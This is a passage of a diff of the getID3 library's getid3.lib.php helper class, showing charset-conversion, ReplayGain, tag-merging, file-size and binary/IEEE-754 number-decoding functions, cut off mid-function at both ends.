UTF-16BE => UTF-8 - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_utf16be_utf8($string) { - if (substr($string, 0, 2) == "\xFE\xFF") { - // strip BOM - $string = substr($string, 2); - } - $newcharstring = ''; - for ($i = 0; $i < strlen($string); $i += 2) { - $charval = self::BigEndian2Int(substr($string, $i, 2)); - $newcharstring .= self::iconv_fallback_int_utf8($charval); - } - return $newcharstring; - } - - /** - * UTF-16LE => UTF-8 - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_utf16le_utf8($string) { - if (substr($string, 0, 2) == "\xFF\xFE") { - // strip BOM - $string = substr($string, 2); - } - $newcharstring = ''; - for ($i = 0; $i < strlen($string); $i += 2) { - $charval = self::LittleEndian2Int(substr($string, $i, 2)); - $newcharstring .= self::iconv_fallback_int_utf8($charval); - } - return $newcharstring; - } - - /** - * UTF-16BE => ISO-8859-1 - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_utf16be_iso88591($string) { - if (substr($string, 0, 2) == "\xFE\xFF") { - // strip BOM - $string = substr($string, 2); - } - $newcharstring = ''; - for ($i = 0; $i < strlen($string); $i += 2) { - $charval = self::BigEndian2Int(substr($string, $i, 2)); - $newcharstring .= (($charval < 256) ? chr($charval) : '?'); - } - return $newcharstring; - } - - /** - * UTF-16LE => ISO-8859-1 - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_utf16le_iso88591($string) { - if (substr($string, 0, 2) == "\xFF\xFE") { - // strip BOM - $string = substr($string, 2); - } - $newcharstring = ''; - for ($i = 0; $i < strlen($string); $i += 2) { - $charval = self::LittleEndian2Int(substr($string, $i, 2)); - $newcharstring .= (($charval < 256) ? chr($charval) : '?'); - } - return $newcharstring; - } - - /** - * UTF-16 (BOM) => ISO-8859-1 - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_utf16_iso88591($string) { - $bom = substr($string, 0, 2); - if ($bom == "\xFE\xFF") { - return self::iconv_fallback_utf16be_iso88591(substr($string, 2)); - } elseif ($bom == "\xFF\xFE") { - return self::iconv_fallback_utf16le_iso88591(substr($string, 2)); - } - return $string; - } - - /** - * UTF-16 (BOM) => UTF-8 - * - * @param string $string - * - * @return string - */ - public static function iconv_fallback_utf16_utf8($string) { - $bom = substr($string, 0, 2); - if ($bom == "\xFE\xFF") { - return self::iconv_fallback_utf16be_utf8(substr($string, 2)); - } elseif ($bom == "\xFF\xFE") { - return self::iconv_fallback_utf16le_utf8(substr($string, 2)); - } - return $string; - } - - /** - * @param string $in_charset - * @param string $out_charset - * @param string $string - * - * @return string - * @throws Exception - */ - public static function iconv_fallback($in_charset, $out_charset, $string) { - - if ($in_charset == $out_charset) { - return $string; - } - - // mb_convert_encoding() available - if (function_exists('mb_convert_encoding')) { - if ((strtoupper($in_charset) == 'UTF-16') && (substr($string, 0, 2) != "\xFE\xFF") && (substr($string, 0, 2) != "\xFF\xFE")) { - // if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM - $string = "\xFF\xFE".$string; - } - if ((strtoupper($in_charset) == 'UTF-16') && (strtoupper($out_charset) == 'UTF-8')) { - if (($string == "\xFF\xFE") || ($string == "\xFE\xFF")) { - // if string consists of only BOM, mb_convert_encoding will return the BOM unmodified - return ''; - } - } - if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) { - switch ($out_charset) { - case 'ISO-8859-1': - $converted_string = rtrim($converted_string, "\x00"); - break; - } - return $converted_string; - } - return $string; - - // iconv() available - } elseif (function_exists('iconv')) { - if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) { - switch ($out_charset) { - case 'ISO-8859-1': - $converted_string = rtrim($converted_string, "\x00"); - break; - } - return $converted_string; - } - - // iconv() may sometimes fail with "illegal character in input string" error message - // and return an empty string, but returning the unconverted string is more useful - return $string; - } - - - // neither mb_convert_encoding or iconv() is available - static $ConversionFunctionList = array(); - if (empty($ConversionFunctionList)) { - $ConversionFunctionList['ISO-8859-1']['UTF-8'] = 'iconv_fallback_iso88591_utf8'; - $ConversionFunctionList['ISO-8859-1']['UTF-16'] = 'iconv_fallback_iso88591_utf16'; - $ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be'; - $ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le'; - $ConversionFunctionList['UTF-8']['ISO-8859-1'] = 'iconv_fallback_utf8_iso88591'; - $ConversionFunctionList['UTF-8']['UTF-16'] = 'iconv_fallback_utf8_utf16'; - $ConversionFunctionList['UTF-8']['UTF-16BE'] = 'iconv_fallback_utf8_utf16be'; - $ConversionFunctionList['UTF-8']['UTF-16LE'] = 'iconv_fallback_utf8_utf16le'; - $ConversionFunctionList['UTF-16']['ISO-8859-1'] = 'iconv_fallback_utf16_iso88591'; - $ConversionFunctionList['UTF-16']['UTF-8'] = 'iconv_fallback_utf16_utf8'; - $ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591'; - $ConversionFunctionList['UTF-16LE']['UTF-8'] = 'iconv_fallback_utf16le_utf8'; - $ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591'; - $ConversionFunctionList['UTF-16BE']['UTF-8'] = 'iconv_fallback_utf16be_utf8'; - } - if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) { - $ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)]; - return self::$ConversionFunction($string); - } - throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset); - } - - /** - * @param mixed $data - * @param string $charset - * - * @return mixed - */ - public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') { - if (is_string($data)) { - return self::MultiByteCharString2HTML($data, $charset); - } elseif (is_array($data)) { - $return_data = array(); - foreach ($data as $key => $value) { - $return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset); - } - return $return_data; - } - // integer, float, objects, resources, etc - return $data; - } - - /** - * @param string|int|float $string - * @param string $charset - * - * @return string - */ - public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') { - $string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string - $HTMLstring = ''; - - switch (strtolower($charset)) { - case '1251': - case '1252': - case '866': - case '932': - case '936': - case '950': - case 'big5': - case 'big5-hkscs': - case 'cp1251': - case 'cp1252': - case 'cp866': - case 'euc-jp': - case 'eucjp': - case 'gb2312': - case 'ibm866': - case 'iso-8859-1': - case 'iso-8859-15': - case 'iso8859-1': - case 'iso8859-15': - case 'koi8-r': - case 'koi8-ru': - case 'koi8r': - case 'shift_jis': - case 'sjis': - case 'win-1251': - case 'windows-1251': - case 'windows-1252': - $HTMLstring = htmlentities($string, ENT_COMPAT, $charset); - break; - - case 'utf-8': - $strlen = strlen($string); - for ($i = 0; $i < $strlen; $i++) { - $char_ord_val = ord($string[$i]); - $charval = 0; - if ($char_ord_val < 0x80) { - $charval = $char_ord_val; - } elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F && $i+3 < $strlen) { - $charval = (($char_ord_val & 0x07) << 18); - $charval += ((ord($string[++$i]) & 0x3F) << 12); - $charval += ((ord($string[++$i]) & 0x3F) << 6); - $charval += (ord($string[++$i]) & 0x3F); - } elseif ((($char_ord_val & 0xE0) >> 5) == 0x07 && $i+2 < $strlen) { - $charval = (($char_ord_val & 0x0F) << 12); - $charval += ((ord($string[++$i]) & 0x3F) << 6); - $charval += (ord($string[++$i]) & 0x3F); - } elseif ((($char_ord_val & 0xC0) >> 6) == 0x03 && $i+1 < $strlen) { - $charval = (($char_ord_val & 0x1F) << 6); - $charval += (ord($string[++$i]) & 0x3F); - } - if (($charval >= 32) && ($charval <= 127)) { - $HTMLstring .= htmlentities(chr($charval)); - } else { - $HTMLstring .= '&#'.$charval.';'; - } - } - break; - - case 'utf-16le': - for ($i = 0; $i < strlen($string); $i += 2) { - $charval = self::LittleEndian2Int(substr($string, $i, 2)); - if (($charval >= 32) && ($charval <= 127)) { - $HTMLstring .= chr($charval); - } else { - $HTMLstring .= '&#'.$charval.';'; - } - } - break; - - case 'utf-16be': - for ($i = 0; $i < strlen($string); $i += 2) { - $charval = self::BigEndian2Int(substr($string, $i, 2)); - if (($charval >= 32) && ($charval <= 127)) { - $HTMLstring .= chr($charval); - } else { - $HTMLstring .= '&#'.$charval.';'; - } - } - break; - - default: - $HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()'; - break; - } - return $HTMLstring; - } - - /** - * @param int $namecode - * - * @return string - */ - public static function RGADnameLookup($namecode) { - static $RGADname = array(); - if (empty($RGADname)) { - $RGADname[0] = 'not set'; - $RGADname[1] = 'Track Gain Adjustment'; - $RGADname[2] = 'Album Gain Adjustment'; - } - - return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : ''); - } - - /** - * @param int $originatorcode - * - * @return string - */ - public static function RGADoriginatorLookup($originatorcode) { - static $RGADoriginator = array(); - if (empty($RGADoriginator)) { - $RGADoriginator[0] = 'unspecified'; - $RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer'; - $RGADoriginator[2] = 'set by user'; - $RGADoriginator[3] = 'determined automatically'; - } - - return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : ''); - } - - /** - * @param int $rawadjustment - * @param int $signbit - * - * @return float - */ - public static function RGADadjustmentLookup($rawadjustment, $signbit) { - $adjustment = (float) $rawadjustment / 10; - if ($signbit == 1) { - $adjustment *= -1; - } - return $adjustment; - } - - /** - * @param int $namecode - * @param int $originatorcode - * @param int $replaygain - * - * @return string - */ - public static function RGADgainString($namecode, $originatorcode, $replaygain) { - if ($replaygain < 0) { - $signbit = '1'; - } else { - $signbit = '0'; - } - $storedreplaygain = intval(round($replaygain * 10)); - $gainstring = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT); - $gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT); - $gainstring .= $signbit; - $gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT); - - return $gainstring; - } - - /** - * @param float $amplitude - * - * @return float - */ - public static function RGADamplitude2dB($amplitude) { - return 20 * log10($amplitude); - } - - /** - * @param string $imgData - * @param array $imageinfo - * - * @return array|false - */ - public static function GetDataImageSize($imgData, &$imageinfo=array()) { - if (PHP_VERSION_ID >= 50400) { - $GetDataImageSize = @getimagesizefromstring($imgData, $imageinfo); - if ($GetDataImageSize === false || !isset($GetDataImageSize[0], $GetDataImageSize[1])) { - return false; - } - $GetDataImageSize['height'] = $GetDataImageSize[0]; - $GetDataImageSize['width'] = $GetDataImageSize[1]; - return $GetDataImageSize; - } - static $tempdir = ''; - if (empty($tempdir)) { - if (function_exists('sys_get_temp_dir')) { - $tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52 - } - - // yes this is ugly, feel free to suggest a better way - if (include_once(dirname(__FILE__).'/getid3.php')) { - $getid3_temp = new getID3(); - if ($getid3_temp_tempdir = $getid3_temp->tempdir) { - $tempdir = $getid3_temp_tempdir; - } - unset($getid3_temp, $getid3_temp_tempdir); - } - } - $GetDataImageSize = false; - if ($tempfilename = tempnam($tempdir, 'gI3')) { - if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) { - fwrite($tmp, $imgData); - fclose($tmp); - $GetDataImageSize = @getimagesize($tempfilename, $imageinfo); - if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) { - return false; - } - $GetDataImageSize['height'] = $GetDataImageSize[0]; - $GetDataImageSize['width'] = $GetDataImageSize[1]; - } - unlink($tempfilename); - } - return $GetDataImageSize; - } - - /** - * @param string $mime_type - * - * @return string - */ - public static function ImageExtFromMime($mime_type) { - // temporary way, works OK for now, but should be reworked in the future - return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type); - } - - /** - * @param array $ThisFileInfo - * @param bool $option_tags_html default true (just as in the main getID3 class) - * - * @return bool - */ - public static function CopyTagsToComments(&$ThisFileInfo, $option_tags_html=true) { - // Copy all entries from ['tags'] into common ['comments'] - if (!empty($ThisFileInfo['tags'])) { - - // Some tag types can only support limited character sets and may contain data in non-standard encoding (usually ID3v1) - // and/or poorly-transliterated tag values that are also in tag formats that do support full-range character sets - // To make the output more user-friendly, process the potentially-problematic tag formats last to enhance the chance that - // the first entries in [comments] are the most correct and the "bad" ones (if any) come later. - // https://github.com/JamesHeinrich/getID3/issues/338 - $processLastTagTypes = array('id3v1','riff'); - foreach ($processLastTagTypes as $processLastTagType) { - if (isset($ThisFileInfo['tags'][$processLastTagType])) { - // bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings - $temp = $ThisFileInfo['tags'][$processLastTagType]; - unset($ThisFileInfo['tags'][$processLastTagType]); - $ThisFileInfo['tags'][$processLastTagType] = $temp; - unset($temp); - } - } - foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) { - foreach ($tagarray as $tagname => $tagdata) { - foreach ($tagdata as $key => $value) { - if (!empty($value)) { - if (empty($ThisFileInfo['comments'][$tagname])) { - - // fall through and append value - - } elseif ($tagtype == 'id3v1') { - - $newvaluelength = strlen(trim($value)); - foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) { - $oldvaluelength = strlen(trim($existingvalue)); - if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) { - // new value is identical but shorter-than (or equal-length to) one already in comments - skip - break 2; - } - - if (function_exists('mb_convert_encoding')) { - if (trim($value) == trim(substr(mb_convert_encoding($existingvalue, $ThisFileInfo['id3v1']['encoding'], $ThisFileInfo['encoding']), 0, 30))) { - // value stored in ID3v1 appears to be probably the multibyte value transliterated (badly) into ISO-8859-1 in ID3v1. - // As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly "?" characters, one per multibyte unrepresentable character - break 2; - } - } - } - - } elseif (!is_array($value)) { - - $newvaluelength = strlen(trim($value)); - $newvaluelengthMB = mb_strlen(trim($value)); - foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) { - $oldvaluelength = strlen(trim($existingvalue)); - $oldvaluelengthMB = mb_strlen(trim($existingvalue)); - if (($newvaluelengthMB == $oldvaluelengthMB) && ($existingvalue == getid3_lib::iconv_fallback('UTF-8', 'ASCII', $value))) { - // https://github.com/JamesHeinrich/getID3/issues/338 - // check for tags containing extended characters that may have been forced into limited-character storage (e.g. UTF8 values into ASCII) - // which will usually display unrepresentable characters as "?" - $ThisFileInfo['comments'][$tagname][$existingkey] = trim($value); - break; - } - if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) { - $ThisFileInfo['comments'][$tagname][$existingkey] = trim($value); - break; - } - } - - } - if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) { - $value = (is_string($value) ? trim($value) : $value); - if (!is_int($key) && !ctype_digit($key)) { - $ThisFileInfo['comments'][$tagname][$key] = $value; - } else { - if (!isset($ThisFileInfo['comments'][$tagname])) { - $ThisFileInfo['comments'][$tagname] = array($value); - } else { - $ThisFileInfo['comments'][$tagname][] = $value; - } - } - } - } - } - } - } - - // attempt to standardize spelling of returned keys - if (!empty($ThisFileInfo['comments'])) { - $StandardizeFieldNames = array( - 'tracknumber' => 'track_number', - 'track' => 'track_number', - ); - foreach ($StandardizeFieldNames as $badkey => $goodkey) { - if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) { - $ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey]; - unset($ThisFileInfo['comments'][$badkey]); - } - } - } - - if ($option_tags_html) { - // Copy ['comments'] to ['comments_html'] - if (!empty($ThisFileInfo['comments'])) { - foreach ($ThisFileInfo['comments'] as $field => $values) { - if ($field == 'picture') { - // pictures can take up a lot of space, and we don't need multiple copies of them - // let there be a single copy in [comments][picture], and not elsewhere - continue; - } - foreach ($values as $index => $value) { - if (is_array($value)) { - $ThisFileInfo['comments_html'][$field][$index] = $value; - } else { - $ThisFileInfo['comments_html'][$field][$index] = str_replace('�', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding'])); - } - } - } - } - } - - } - return true; - } - - /** - * @param string $key - * @param int $begin - * @param int $end - * @param string $file - * @param string $name - * - * @return string - */ - public static function EmbeddedLookup($key, $begin, $end, $file, $name) { - - // Cached - static $cache; - if (isset($cache[$file][$name])) { - return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : ''); - } - - // Init - $keylength = strlen($key); - $line_count = $end - $begin - 7; - - // Open php file - $fp = fopen($file, 'r'); - - // Discard $begin lines - for ($i = 0; $i < ($begin + 3); $i++) { - fgets($fp, 1024); - } - - // Loop thru line - while (0 < $line_count--) { - - // Read line - $line = ltrim(fgets($fp, 1024), "\t "); - - // METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key - //$keycheck = substr($line, 0, $keylength); - //if ($key == $keycheck) { - // $cache[$file][$name][$keycheck] = substr($line, $keylength + 1); - // break; - //} - - // METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key - //$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1)); - $explodedLine = explode("\t", $line, 2); - $ThisKey = (isset($explodedLine[0]) ? $explodedLine[0] : ''); - $ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : ''); - $cache[$file][$name][$ThisKey] = trim($ThisValue); - } - - // Close and return - fclose($fp); - return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : ''); - } - - /** - * @param string $filename - * @param string $sourcefile - * @param bool $DieOnFailure - * - * @return bool - * @throws Exception - */ - public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) { - global $GETID3_ERRORARRAY; - - if (file_exists($filename)) { - if (include_once($filename)) { - return true; - } else { - $diemessage = basename($sourcefile).' depends on '.$filename.', which has errors'; - } - } else { - $diemessage = basename($sourcefile).' depends on '.$filename.', which is missing'; - } - if ($DieOnFailure) { - throw new Exception($diemessage); - } else { - $GETID3_ERRORARRAY[] = $diemessage; - } - return false; - } - - /** - * @param string $string - * - * @return string - */ - public static function trimNullByte($string) { - return trim($string, "\x00"); - } - - /** - * @param string $path - * - * @return float|bool - */ - public static function getFileSizeSyscall($path) { - $commandline = null; - $filesize = false; - - if (GETID3_OS_ISWINDOWS) { - if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini: - $filesystem = new COM('Scripting.FileSystemObject'); - $file = $filesystem->GetFile($path); - $filesize = $file->Size(); - unset($filesystem, $file); - } else { - $commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI'; - } - } else { - $commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\''; - } - if (isset($commandline)) { - $output = trim(`$commandline`); - if (ctype_digit($output)) { - $filesize = (float) $output; - } - } - return $filesize; - } - - /** - * @param string $filename - * - * @return string|false - */ - public static function truepath($filename) { - // 2017-11-08: this could use some improvement, patches welcome - if (preg_match('#^(\\\\\\\\|//)[a-z0-9]#i', $filename, $matches)) { - // PHP's built-in realpath function does not work on UNC Windows shares - $goodpath = array(); - foreach (explode('/', str_replace('\\', '/', $filename)) as $part) { - if ($part == '.') { - continue; - } - if ($part == '..') { - if (count($goodpath)) { - array_pop($goodpath); - } else { - // cannot step above this level, already at top level - return false; - } - } else { - $goodpath[] = $part; - } - } - return implode(DIRECTORY_SEPARATOR, $goodpath); - } - return realpath($filename); - } - - /** - * Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268) - * - * @param string $path A path. - * @param string $suffix If the name component ends in suffix this will also be cut off. - * - * @return string - */ - public static function mb_basename($path, $suffix = '') { - $splited = preg_split('#/#', rtrim($path, '/ ')); - return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// // +// getid3.lib.php - part of getID3() // +// see readme.txt for more details // +// /// +///////////////////////////////////////////////////////////////// + + +class getid3_lib +{ + /** + * @param string $string + * @param bool $hex + * @param bool $spaces + * @param string|bool $htmlencoding + * + * @return string + */ + public static function PrintHexBytes($string, $hex=true, $spaces=true, $htmlencoding='UTF-8') { + $returnstring = ''; + for ($i = 0; $i < strlen($string); $i++) { + if ($hex) { + $returnstring .= str_pad(dechex(ord($string[$i])), 2, '0', STR_PAD_LEFT); + } else { + $returnstring .= ' '.(preg_match("#[\x20-\x7E]#", $string[$i]) ? $string[$i] : '¤'); + } + if ($spaces) { + $returnstring .= ' '; + } + } + if (!empty($htmlencoding)) { + if ($htmlencoding === true) { + $htmlencoding = 'UTF-8'; // prior to getID3 v1.9.0 the function's 4th parameter was boolean + } + $returnstring = htmlentities($returnstring, ENT_QUOTES, $htmlencoding); + } + return $returnstring; + } + + /** + * Truncates a floating-point number at the decimal point. + * + * @param float $floatnumber + * + * @return float|int returns int (if possible, otherwise float) + */ + public static function trunc($floatnumber) { + if ($floatnumber >= 1) { + $truncatednumber = floor($floatnumber); + } elseif ($floatnumber <= -1) { + $truncatednumber = ceil($floatnumber); + } else { + $truncatednumber = 0; + } + if (self::intValueSupported($truncatednumber)) { + $truncatednumber = (int) $truncatednumber; + } + return $truncatednumber; + } + + /** + * @param int|null $variable + * @param int $increment + * + * @return bool + */ + public static function safe_inc(&$variable, $increment=1) { + if (isset($variable)) { + $variable += $increment; + } else { + $variable = $increment; + } + return true; + } + + /** + * @param int|float $floatnum + * + * @return int|float + */ + public static function CastAsInt($floatnum) { + // convert to float if not already + $floatnum = (float) $floatnum; + + // convert a float to type int, only if possible + if (self::trunc($floatnum) == $floatnum) { + // it's not floating point + if (self::intValueSupported($floatnum)) { + // it's within int range + $floatnum = (int) $floatnum; + } + } + return $floatnum; + } + + /** + * @param int $num + * + * @return bool + */ + public static function intValueSupported($num) { + // check if integers are 64-bit + static $hasINT64 = null; + if ($hasINT64 === null) { // 10x faster than is_null() + $hasINT64 = is_int(pow(2, 31)); // 32-bit int are limited to (2^31)-1 + if (!$hasINT64 && !defined('PHP_INT_MIN')) { + define('PHP_INT_MIN', ~PHP_INT_MAX); + } + } + // if integers are 64-bit - no other check required + if ($hasINT64 || (($num <= PHP_INT_MAX) && ($num >= PHP_INT_MIN))) { + return true; + } + return false; + } + + /** + * @param string $fraction + * + * @return float + */ + public static function DecimalizeFraction($fraction) { + list($numerator, $denominator) = explode('/', $fraction); + return $numerator / ($denominator ? $denominator : 1); + } + + /** + * @param string $binarynumerator + * + * @return float + */ + public static function DecimalBinary2Float($binarynumerator) { + $numerator = self::Bin2Dec($binarynumerator); + $denominator = self::Bin2Dec('1'.str_repeat('0', strlen($binarynumerator))); + return ($numerator / $denominator); + } + + /** + * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html + * + * @param string $binarypointnumber + * @param int $maxbits + * + * @return array + */ + public static function NormalizeBinaryPoint($binarypointnumber, $maxbits=52) { + if (strpos($binarypointnumber, '.') === false) { + $binarypointnumber = '0.'.$binarypointnumber; + } elseif ($binarypointnumber[0] == '.') { + $binarypointnumber = '0'.$binarypointnumber; + } + $exponent = 0; + while (($binarypointnumber[0] != '1') || (substr($binarypointnumber, 1, 1) != '.')) { + if (substr($binarypointnumber, 1, 1) == '.') { + $exponent--; + $binarypointnumber = substr($binarypointnumber, 2, 1).'.'.substr($binarypointnumber, 3); + } else { + $pointpos = strpos($binarypointnumber, '.'); + $exponent += ($pointpos - 1); + $binarypointnumber = str_replace('.', '', $binarypointnumber); + $binarypointnumber = $binarypointnumber[0].'.'.substr($binarypointnumber, 1); + } + } + $binarypointnumber = str_pad(substr($binarypointnumber, 0, $maxbits + 2), $maxbits + 2, '0', STR_PAD_RIGHT); + return array('normalized'=>$binarypointnumber, 'exponent'=>(int) $exponent); + } + + /** + * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html + * + * @param float $floatvalue + * + * @return string + */ + public static function Float2BinaryDecimal($floatvalue) { + $maxbits = 128; // to how many bits of precision should the calculations be taken? + $intpart = self::trunc($floatvalue); + $floatpart = abs($floatvalue - $intpart); + $pointbitstring = ''; + while (($floatpart != 0) && (strlen($pointbitstring) < $maxbits)) { + $floatpart *= 2; + $pointbitstring .= (string) self::trunc($floatpart); + $floatpart -= self::trunc($floatpart); + } + $binarypointnumber = decbin($intpart).'.'.$pointbitstring; + return $binarypointnumber; + } + + /** + * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html + * + * @param float $floatvalue + * @param int $bits + * + * @return string|false + */ + public static function Float2String($floatvalue, $bits) { + $exponentbits = 0; + $fractionbits = 0; + switch ($bits) { + case 32: + $exponentbits = 8; + $fractionbits = 23; + break; + + case 64: + $exponentbits = 11; + $fractionbits = 52; + break; + + default: + return false; + } + if ($floatvalue >= 0) { + $signbit = '0'; + } else { + $signbit = '1'; + } + $normalizedbinary = self::NormalizeBinaryPoint(self::Float2BinaryDecimal($floatvalue), $fractionbits); + $biasedexponent = pow(2, $exponentbits - 1) - 1 + $normalizedbinary['exponent']; // (127 or 1023) +/- exponent + $exponentbitstring = str_pad(decbin($biasedexponent), $exponentbits, '0', STR_PAD_LEFT); + $fractionbitstring = str_pad(substr($normalizedbinary['normalized'], 2), $fractionbits, '0', STR_PAD_RIGHT); + + return self::BigEndian2String(self::Bin2Dec($signbit.$exponentbitstring.$fractionbitstring), $bits % 8, false); + } + + /** + * @param string $byteword + * + * @return float|false + */ + public static function LittleEndian2Float($byteword) { + return self::BigEndian2Float(strrev($byteword)); + } + + /** + * ANSI/IEEE Standard 754-1985, Standard for Binary Floating Point Arithmetic + * + * @link https://web.archive.org/web/20120325162206/http://www.psc.edu/general/software/packages/ieee/ieee.php + * @link http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee.html + * + * @param string $byteword + * + * @return float|false + */ + public static function BigEndian2Float($byteword) { + $bitword = self::BigEndian2Bin($byteword); + if (!$bitword) { + return 0; + } + $signbit = $bitword[0]; + $floatvalue = 0; + $exponentbits = 0; + $fractionbits = 0; + + switch (strlen($byteword) * 8) { + case 32: + $exponentbits = 8; + $fractionbits = 23; + break; + + case 64: + $exponentbits = 11; + $fractionbits = 52; + break; + + case 80: + // 80-bit Apple SANE format + // http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ + $exponentstring = substr($bitword, 1, 15); + $isnormalized = intval($bitword[16]); + $fractionstring = substr($bitword, 17, 63); + $exponent = pow(2, self::Bin2Dec($exponentstring) - 16383); + $fraction = $isnormalized + self::DecimalBinary2Float($fractionstring); + $floatvalue = $exponent * $fraction; + if ($signbit == '1') { + $floatvalue *= -1; + } + return $floatvalue; + + default: + return false; + } + $exponentstring = substr($bitword, 1, $exponentbits); + $fractionstring = substr($bitword, $exponentbits + 1, $fractionbits); + $exponent = self::Bin2Dec($exponentstring); + $fraction = self::Bin2Dec($fractionstring); + + if (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction != 0)) { + // Not a Number + $floatvalue = NAN; + } elseif (($exponent == (pow(2, $exponentbits) - 1)) && ($fraction == 0)) { + if ($signbit == '1') { + $floatvalue = -INF; + } else { + $floatvalue = INF; + } + } elseif (($exponent == 0) && ($fraction == 0)) { + if ($signbit == '1') { + $floatvalue = -0; + } else { + $floatvalue = 0; + } + $floatvalue = ($signbit ? 0 : -0); + } elseif (($exponent == 0) && ($fraction != 0)) { + // These are 'unnormalized' values + $floatvalue = pow(2, (-1 * (pow(2, $exponentbits - 1) - 2))) * self::DecimalBinary2Float($fractionstring); + if ($signbit == '1') { + $floatvalue *= -1; + } + } elseif ($exponent != 0) { + $floatvalue = pow(2, ($exponent - (pow(2, $exponentbits - 1) - 1))) * (1 + self::DecimalBinary2Float($fractionstring)); + if ($signbit == '1') { + $floatvalue *= -1; + } + } + return (float) $floatvalue; + } + + /** + * @param string $byteword + * @param bool $synchsafe + * @param bool $signed + * + * @return int|float|false + * @throws Exception + */ + public static function BigEndian2Int($byteword, $synchsafe=false, $signed=false) { + $intvalue = 0; + $bytewordlen = strlen($byteword); + if ($bytewordlen == 0) { + return false; + } + for ($i = 0; $i < $bytewordlen; $i++) { + if ($synchsafe) { // disregard MSB, effectively 7-bit bytes + //$intvalue = $intvalue | (ord($byteword{$i}) & 0x7F) << (($bytewordlen - 1 - $i) * 7); // faster, but runs into problems past 2^31 on 32-bit systems + $intvalue += (ord($byteword[$i]) & 0x7F) * pow(2, ($bytewordlen - 1 - $i) * 7); + } else { + $intvalue += ord($byteword[$i]) * pow(256, ($bytewordlen - 1 - $i)); + } + } + if ($signed && !$synchsafe) { + // synchsafe ints are not allowed to be signed + if ($bytewordlen <= PHP_INT_SIZE) { + $signMaskBit = 0x80 << (8 * ($bytewordlen - 1)); + if ($intvalue & $signMaskBit) { + $intvalue = 0 - ($intvalue & ($signMaskBit - 1)); + } + } else { + throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits ('.strlen($byteword).') in self::BigEndian2Int()'); + } + } + return self::CastAsInt($intvalue); + } + + /** + * @param string $byteword + * @param bool $signed + * + * @return int|float|false + */ + public static function LittleEndian2Int($byteword, $signed=false) { + return self::BigEndian2Int(strrev($byteword), false, $signed); + } + + /** + * @param string $byteword + * + * @return string + 